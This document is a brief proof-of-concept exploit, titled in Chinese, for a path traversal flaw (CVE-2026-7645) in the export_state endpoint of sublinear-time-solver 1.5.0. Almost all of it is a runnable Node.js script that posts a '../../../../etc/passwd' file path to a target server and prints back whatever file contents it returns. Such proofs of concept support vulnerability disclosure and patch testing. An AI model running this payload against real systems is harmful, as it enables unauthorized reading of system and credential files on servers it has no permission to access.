CVE-2026-7645 sublinear-time-solver 路径遍历漏洞

// PoC for CVE-2026-7645: Path Traversal in export_state // Target: ruvnet sublinear-time-solver 1.5.0 const http = require('http'); const options = { hostname: 'TARGET_IP', port: 3000, path: '/mcp/export_state', method: 'POST', headers: { 'Content-Type': 'application/json' } }; // Payload containing path traversal sequence const payload = JSON.stringify({ file_path: '../../../../etc/passwd' }); const req = http.request(options, (res) => { console.log(`Status: ${res.statusCode}`); res.on('data', (d) => { process.stdout.write(d); }); }); req.on('error', (e) => { console.error(e); }); req.write(payload); req.end();